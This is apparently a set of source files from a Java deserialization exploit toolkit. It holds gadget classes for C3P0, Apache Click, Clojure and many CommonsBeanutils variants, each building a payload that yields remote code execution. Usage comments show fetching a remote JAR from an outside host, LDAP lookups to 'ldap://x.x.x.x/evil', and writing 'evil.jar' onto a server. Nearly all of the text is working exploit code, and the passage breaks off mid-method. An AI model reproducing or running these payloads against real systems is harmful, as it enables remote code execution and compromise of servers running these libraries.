import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.HexUtils;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.SnakeYamlUtils;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.IOException;
import java.io.PrintWriter;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
/**
* 同上 只不过使用了 snakeyaml
* 加了一些常见的 Gadget,有点套娃的感觉了
* <p>
* 用法:
* 远程加载 Jar 包
* C3P04 'remoteJar-http://1.1.1.1.com/1.jar'
* <p>
* 向服务器写入 Jar 包并加载(不出网)
* C3P04 'writeJar-/tmp/evil.jar:./yaml.jar'
* C3P04 'localJar-./yaml.jar'
* <p>
* C3P0 二次反序列化
* C3P04 'c3p0Double-/usr/CC6.ser'
* <p>
* C3P0 JNDI 以及 JdbcRowSetImpl JNDI
* C3P04 'c3p0Jndi-ldap://x.x.x.x/evil'
* C3P04 'jndi-ldap://x.x.x.x/evil'
*/
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.yaml:snakeyaml:1.30"})
@Authors({Authors.QI4L})
public class C3P04 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
int sep = command.lastIndexOf('-');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <type>:<cmd>");
}
String[] parts = command.split("-");
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(parts[0], parts[1]));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private final String cmd;
private final String type;
public PoolSource(String type, String cmd) {
this.type = type;
this.cmd = cmd;
}
public Reference getReference() throws NamingException {
String yaml = "";
switch (type) {
case "remoteJar":
yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"" + cmd + "\"]\n" +
" ]]\n" +
"]";
break;
case "localJar":
yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"file://" + cmd + "\"]\n" +
" ]]\n" +
"]";
break;
case "writeJar":
String[] parts = cmd.split(":");
try {
yaml = SnakeYamlUtils.createPoC(parts[0], parts[1]);
} catch (Exception e) {
throw new RuntimeException(e);
}
break;
case "c3p0Double":
try {
byte[] data = HexUtils.toByteArray(Files.newInputStream(Paths.get(cmd)));
String hexString = HexUtils.bytesToHexString(data, data.length);
yaml = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
"userOverridesAsString: HexAsciiSerializedMap:" + hexString + ";";
} catch (IOException e) {
throw new RuntimeException(e);
}
break;
case "c3p0Jndi":
yaml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
"jndiName: " + cmd + "\n" +
"loginTimeout: 0";
break;
case "jndi":
yaml = "!!com.sun.rowset.JdbcRowSetImpl\n" +
"dataSourceName: " + cmd + "\n" +
"autoCommit: true";
break;
}
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "QI4L=load"));
ref.add(new StringRefAddr("QI4L", yaml));
return ref;
}
public PrintWriter getLogWriter() throws SQLException {
return null;
}
public void setLogWriter(PrintWriter out) throws SQLException {
}
public int getLoginTimeout() throws SQLException {
return 0;
}
public void setLoginTimeout(int seconds) throws SQLException {
}
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
}
}
@@ -0,0 +1,99 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.SuClassLoader;
import com.qi4l.jndi.gadgets.utils.handle.ClassFieldHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
/**
* C3P0 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
*/
@Dependencies({"com.mchange:c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8", "com.mchange:mchange-commons-java:0.2.11"})
@Authors({Authors.MBECHLER})
public class C3P092 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
int sep = command.lastIndexOf(':');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
// 修改com.mchange.v2.c3p0.PoolBackedDataSource serialVerisonUID
ClassPool pool = new ClassPool();
pool.insertClassPath(new ClassClassPath(Class.forName("com.mchange.v2.c3p0.PoolBackedDataSource")));
final CtClass ctPoolBackedDataSource = pool.get("com.mchange.v2.c3p0.PoolBackedDataSource");
ClassFieldHandler.insertField(ctPoolBackedDataSource, "serialVersionUID", "private static final long serialVersionUID = 7387108436934414104L;");
// mock method name until armed
final Class clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(new SuClassLoader());
Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource);
Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource(String className, String url) {
this.className = className;
this.url = url;
}
public Reference getReference() throws NamingException {
return new Reference("exploit", this.className, this.url);
}
public PrintWriter getLogWriter() throws SQLException {
return null;
}
public void setLogWriter(PrintWriter out) throws SQLException {
}
public int getLoginTimeout() throws SQLException {
return 0;
}
public void setLoginTimeout(int seconds) throws SQLException {
}
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
}
}
@@ -0,0 +1,78 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import org.apache.click.control.Column;
import org.apache.click.control.Table;
import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue().
* We use java.util.PriorityQueue to trigger ColumnComparator.compare().
* After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection.
* <p>
* Chain:
* <p>
* java.util.PriorityQueue.readObject()
* java.util.PriorityQueue.heapify()
* java.util.PriorityQueue.siftDown()
* java.util.PriorityQueue.siftDownUsingComparator()
* org.apache.click.control.Column$ColumnComparator.compare()
* org.apache.click.control.Column.getProperty()
* org.apache.click.control.Column.getProperty()
* org.apache.click.util.PropertyUtils.getValue()
* org.apache.click.util.PropertyUtils.getObjectPropertyValue()
* java.lang.reflect.Method.invoke()
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
* ...
* <p>
* Arguments:
* - command to execute
* <p>
* Yields:
* - RCE via TemplatesImpl.getOutputProperties()
* <p>
* Requires:
* - Apache Click
* - servlet-api of any version
* <p>
* by @artsploit
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"})
@Authors({Authors.ARTSPLOIT})
public class Click1 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
// prepare a Column.comparator with mock values
final Column column = new Column("lowestSetBit");
column.setTable(new Table());
Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
// create queue with numbers and our comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by the comparator,
// so it will trigger getOutputProperties() when objects in the queue are compared
column.setName("outputProperties");
// finally, we inject and new TemplatesImpl object into the queue,
// so its getOutputProperties() method will be called
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
final Object template;
template = Gadgets.createTemplatesImpl(command);
queueArray[0] = template;
return queue;
}
}
@@ -0,0 +1,50 @@
package com.qi4l.jndi.gadgets;
import clojure.core$comp;
import clojure.core$constantly;
import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
import clojure.lang.PersistentArrayMap;
import clojure.main$eval_opt;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.clojure.ClojureUtil;
import java.util.HashMap;
import java.util.Map;
import static com.qi4l.jndi.gadgets.annotation.Authors.JACKOFMOSTTRADES;
/**
* Gadget chain:
* ObjectInputStream.readObject()
* HashMap.readObject()
* AbstractTableModel$ff19274a.hashCode()
* clojure.core$comp$fn__4727.invoke()
* clojure.core$constantly$fn__4614.invoke()
* clojure.main$eval_opt.invoke()
* <p>
* Requires:
* org.clojure:clojure
* Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions
*/
@Dependencies({"org.clojure:clojure:1.8.0"})
@Authors({JACKOFMOSTTRADES})
public class Clojure implements ObjectPayload<Map<?, ?>> {
public Map<?, ?> getObject(String command) throws Exception {
String clojurePayload = ClojureUtil.makeClojurePayload(command);
Map<String, Object> fnMap = new HashMap<>();
fnMap.put("hashCode", (new core$constantly()).invoke(0));
AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
HashMap<Object, Object> targetMap = new HashMap<>();
targetMap.put(model, null);
fnMap.put("hashCode", (new core$comp())
.invoke(new main$eval_opt(), (new core$constantly())
.invoke(clojurePayload)));
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
return targetMap;
}
}
@@ -0,0 +1,29 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
@Authors({Authors.FROHOFF})
public class CommonsBeanutils1 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
Reflections.setFieldValue(comparator, "property", "outputProperties");
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
return queue;
}
}
@@ -0,0 +1,41 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.enumtypes.PayloadType;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import static com.qi4l.jndi.gadgets.utils.InjShell.insertField;
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"})
public class CommonsBeanutils1183NOCC implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("org.apache.commons.beanutils.BeanComparator");
insertField(ctClass, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;");
Class beanCompareClazz = ctClass.toClass();
BeanComparator comparator = (BeanComparator) beanCompareClazz.newInstance();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER);
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
return queue;
}
}
@@ -0,0 +1,44 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.enumtypes.PayloadType;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import org.apache.commons.beanutils.BeanComparator;
import javax.naming.Reference;
import java.math.BigInteger;
import java.util.PriorityQueue;
import static com.qi4l.jndi.gadgets.utils.jdbc.jdbcutils.dbcpByFactory;
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
@Authors({Authors.QI4L})
public class CommonsBeanutils1JDBC implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
// create a TeraDataSource object, holding our JDBC string
//org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory
//org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory
//org.apache.commons.dbcp2.BasicDataSourceFactory
//org.apache.commons.dbcp.BasicDataSourceFactory
//com.alibaba.druid.pool.DruidDataSourceFactory
Reference ref = dbcpByFactory("org.apache.commons.dbcp.BasicDataSourceFactory", command);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
Reflections.setFieldValue(comparator, "property", "outputProperties");
// switch method called by comparator to "getConnection"
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = ref;
queueArray[1] = ref;
return queue;
}
}
@@ -0,0 +1,41 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
/**
* Gadget chain:
* ObjectInputStream.readObject()
* PriorityQueue.readObject()
* ...
* TransformingComparator.compare()
* InvokerTransformer.transform()
* Method.invoke()
* Runtime.exec()
*/
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
@Authors({Authors.CCKUAILONG})
public class CommonsBeanutils2 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
Reflections.setFieldValue(comparator, "property", "outputProperties");
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
return queue;
}
}
@@ -0,0 +1,36 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.enumtypes.PayloadType;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.teradata.jdbc.TeraDataSource;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
@Authors({Authors.QI4L})
public class CommonsBeanutils2JDBC implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
TeraDataSource dataSource = new TeraDataSource();
dataSource.setBROWSER(command);
dataSource.setLOGMECH("BROWSER");
dataSource.setDSName("127.0.0.1");
dataSource.setDbsPort("10250");
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
Reflections.setFieldValue(comparator, "property", "connection");
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = dataSource;
queueArray[1] = dataSource;
return queue;
}
}
@@ -0,0 +1,47 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.enumtypes.PayloadType;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.SuClassLoader;
import com.qi4l.jndi.gadgets.utils.Reflections;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Comparator;
import java.util.PriorityQueue;
import static com.qi4l.jndi.gadgets.utils.InjShell.insertField;
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-logging:commons-logging:1.2"})
public class CommonsBeanutils2NOCC implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
// 修改BeanComparator类的serialVersionUID
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
insertField(ctBeanComparator, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;");
final Comparator comparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
Reflections.setFieldValue(comparator, "property", null);
Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
Reflections.setFieldValue(comparator, "property", "outputProperties");
Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates});
ctBeanComparator.defrost();
return queue;
}
}
@@ -0,0 +1,34 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.math.BigInteger;
import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1"})
public class CommonsBeanutils3 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
String jndiURL = null;
if (command.toLowerCase().startsWith("jndi:")) {
jndiURL = command.substring(5);
}
BeanComparator comparator = new BeanComparator("lowestSetBit");
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiURL);
rs.setMatchColumn("QI4L");
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
Reflections.setFieldValue(comparator, "property", "databaseMetaData");
Reflections.setFieldValue(queue, "queue", new Object[]{rs, rs});
return queue;
}
}
@@ -0,0 +1,46 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import org.apache.commons.beanutils.BeanComparator;
import javax.naming.CompositeName;
import java.lang.reflect.Constructor;
import java.util.PriorityQueue;
public class CommonsBeanutils4 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
if (command.toLowerCase().startsWith("jndi:")) {
command = command.substring(5);
}
if (!command.toLowerCase().startsWith("ldap://") && !command.toLowerCase().startsWith("rmi://")) {
throw new Exception("Command format is: [rmi|ldap]://host:port/obj");
}
int index = command.indexOf("/", 7);
String host = command.substring(0, index);
String path = command.substring(index + 1);
String query = path.replace("/", "\\");
Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(new Class[]{String.class});
ldapAttributeClazzConstructor.setAccessible(true);
Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(new Object[]{"name"});
Reflections.setFieldValue(ldapAttribute, "baseCtxURL", host);
Reflections.setFieldValue(ldapAttribute, "rdn", new CompositeName(query + "//su18"));
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
Reflections.setFieldValue(comparator, "property", "attributeDefinition");
Reflections.setFieldValue(queue, "queue", new Object[]{ldapAttribute, ldapAttribute});
return queue;
}
}
@@ -0,0 +1,38 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
@Authors({"水滴"})
public class CommonsBeanutilsAttrCompare implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
AttrNSImpl attrNS1 = new AttrNSImpl();
CoreDocumentImpl coreDocument = new CoreDocumentImpl();
attrNS1.setValues(coreDocument, "1", "1", "1");
BeanComparator beanComparator = new BeanComparator(null, new AttrCompare());
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(attrNS1);
queue.add(attrNS1);
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
return queue;
}
}
@@ -0,0 +1,56 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.enumtypes.PayloadType;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.SuClassLoader;
import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtField;
import java.util.Comparator;
import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"})
@Authors({"SummerSec"})
public class CommonsBeanutilsAttrCompare183 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
AttrNSImpl attrNS1 = new AttrNSImpl();
CoreDocumentImpl coreDocument = new CoreDocumentImpl();
attrNS1.setValues(coreDocument, "1", "1", "1");
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
try {
CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID");
ctBeanComparator.removeField(ctSUID);
} catch (javassist.NotFoundException e) {
}
ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator));
final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
ctBeanComparator.defrost();
Reflections.setFieldValue(beanComparator, "comparator", new AttrCompare());
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, (Comparator<? super Object>) beanComparator);
queue.add(attrNS1);
queue.add(attrNS1);
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
return queue;
}
}
@@ -0,0 +1,35 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.lang3.compare.ObjectToStringComparator;
import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.commons:commons-lang3:3.10"})
@Authors({"水滴"})
public class CommonsBeanutilsObjectToStringComparator implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
ObjectToStringComparator stringComparator = new ObjectToStringComparator();
BeanComparator beanComparator = new BeanComparator(null, new ObjectToStringComparator());
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(stringComparator);
queue.add(stringComparator);
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
return queue;
}
}
@@ -0,0 +1,50 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.SuClassLoader;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtField;
import org.apache.commons.lang3.compare.ObjectToStringComparator;
import java.util.Comparator;
import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "org.apache.commons:commons-lang3:3.10"})
@Authors({"SummerSec"})
public class CommonsBeanutilsObjectToStringComparator183 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
try {
CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID");
ctBeanComparator.removeField(ctSUID);
} catch (javassist.NotFoundException e) {
}
ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator));
final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
ctBeanComparator.defrost();
Reflections.setFieldValue(beanComparator, "comparator", new ObjectToStringComparator());
ObjectToStringComparator stringComparator = new ObjectToStringComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, (Comparator<? super Object>) beanComparator);
queue.add(stringComparator);
queue.add(stringComparator);
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
return queue;
}
}
@@ -0,0 +1,40 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.logging.log4j.util.PropertySource;
import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.logging.log4j:log4j-core:2.17.1"})
@Authors({"SummerSec"})
public class CommonsBeanutilsPropertySource implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
PropertySource propertySource1 = new PropertySource() {
@Override
public int getPriority() {
return 0;
}
};
BeanComparator beanComparator = new BeanComparator(null, new PropertySource.Comparator());
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(propertySource1);
queue.add(propertySource1);
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
return queue;
}
}
@@ -0,0 +1,56 @@
package com.qi4l.jndi.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.SuClassLoader;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtField;
import org.apache.logging.log4j.util.PropertySource;
import java.util.Comparator;
import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.logging.log4j:log4j-core:2.17.1"})
@Authors({"SummerSec"})
public class CommonsBeanutilsPropertySource183 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
template = Gadgets.createTemplatesImpl(command);
PropertySource propertySource1 = new PropertySource() {
@Override
public int getPriority() {
return 0;
}
};
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator");
try {
CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID");
ctBeanComparator.removeField(ctSUID);
} catch (javassist.NotFoundException e) {
}
